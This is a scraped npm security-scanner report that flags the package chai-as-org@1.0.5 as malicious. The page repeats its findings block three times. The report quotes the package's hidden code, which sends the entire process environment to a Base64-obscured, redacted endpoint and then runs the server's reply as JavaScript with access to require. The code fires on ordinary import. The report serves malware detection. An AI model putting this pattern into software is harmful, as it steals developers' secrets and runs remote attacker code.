chai-as-org@1.0.5: Malicious npm security report (Block)

Loading npm security reports…

chai-as-org@1.0.5: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L6: (async function initializeCaller(..._args) { L7: const response = await axios.post( L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

7const response = await axios.post( Buffer.from(endpoint, 'base64').toString('utf-8'), { ...process.env }, { headers: { "x-secret-header" : "secret" } }

High

Ai Review Evidence

The initializer sends the entire process environment to a Base64-obscured remote endpoint.

lib/initializeCaller.jsView on unpkg · L7

12try { const executor = new Function("require", response.data); executor(require);

High

Ai Review Evidence

It executes the server response as JavaScript with access to require.

lib/initializeCaller.jsView on unpkg · L12

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

package.jsonView file

5"main": "index.js", "scripts": { "smoke:pino": "node ./index.js", "smoke:file": "node ./file.js" },

High

Suspicious Lifecycle Evidence

The manifest has no lifecycle hook; the attack instead triggers on normal import.

package.jsonView on unpkg · L5

Source & flagged code

6 flagged · loading source

lib/initializeCaller.jsView file

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

7const response = await axios.post( Buffer.from(endpoint, 'base64').toString('utf-8'), { ...process.env }, { headers: { "x-secret-header" : "secret" } }

High

Ai Review Evidence

The initializer sends the entire process environment to a Base64-obscured remote endpoint.

lib/initializeCaller.jsView on unpkg · L7

12try { const executor = new Function("require", response.data); executor(require);

High

Ai Review Evidence

It executes the server response as JavaScript with access to require.

lib/initializeCaller.jsView on unpkg · L12

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

package.jsonView file

5"main": "index.js", "scripts": { "smoke:pino": "node ./index.js", "smoke:file": "node ./file.js" },

High

Suspicious Lifecycle Evidence

The manifest has no lifecycle hook; the attack instead triggers on normal import.

package.jsonView on unpkg · L5

Source & flagged code

6 flagged

lib/initializeCaller.jsView file

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

7const response = await axios.post( Buffer.from(endpoint, 'base64').toString('utf-8'), { ...process.env }, { headers: { "x-secret-header" : "secret" } }

High

Ai Review Evidence

The initializer sends the entire process environment to a Base64-obscured remote endpoint.

lib/initializeCaller.jsView on unpkg · L7

12try { const executor = new Function("require", response.data); executor(require);

High

Ai Review Evidence

It executes the server response as JavaScript with access to require.

lib/initializeCaller.jsView on unpkg · L12

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

package.jsonView file

5"main": "index.js", "scripts": { "smoke:pino": "node ./index.js", "smoke:file": "node ./file.js" },

High

Suspicious Lifecycle Evidence

The manifest has no lifecycle hook; the attack instead triggers on normal import.

package.jsonView on unpkg · L5

chai-as-org@1.0.5

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code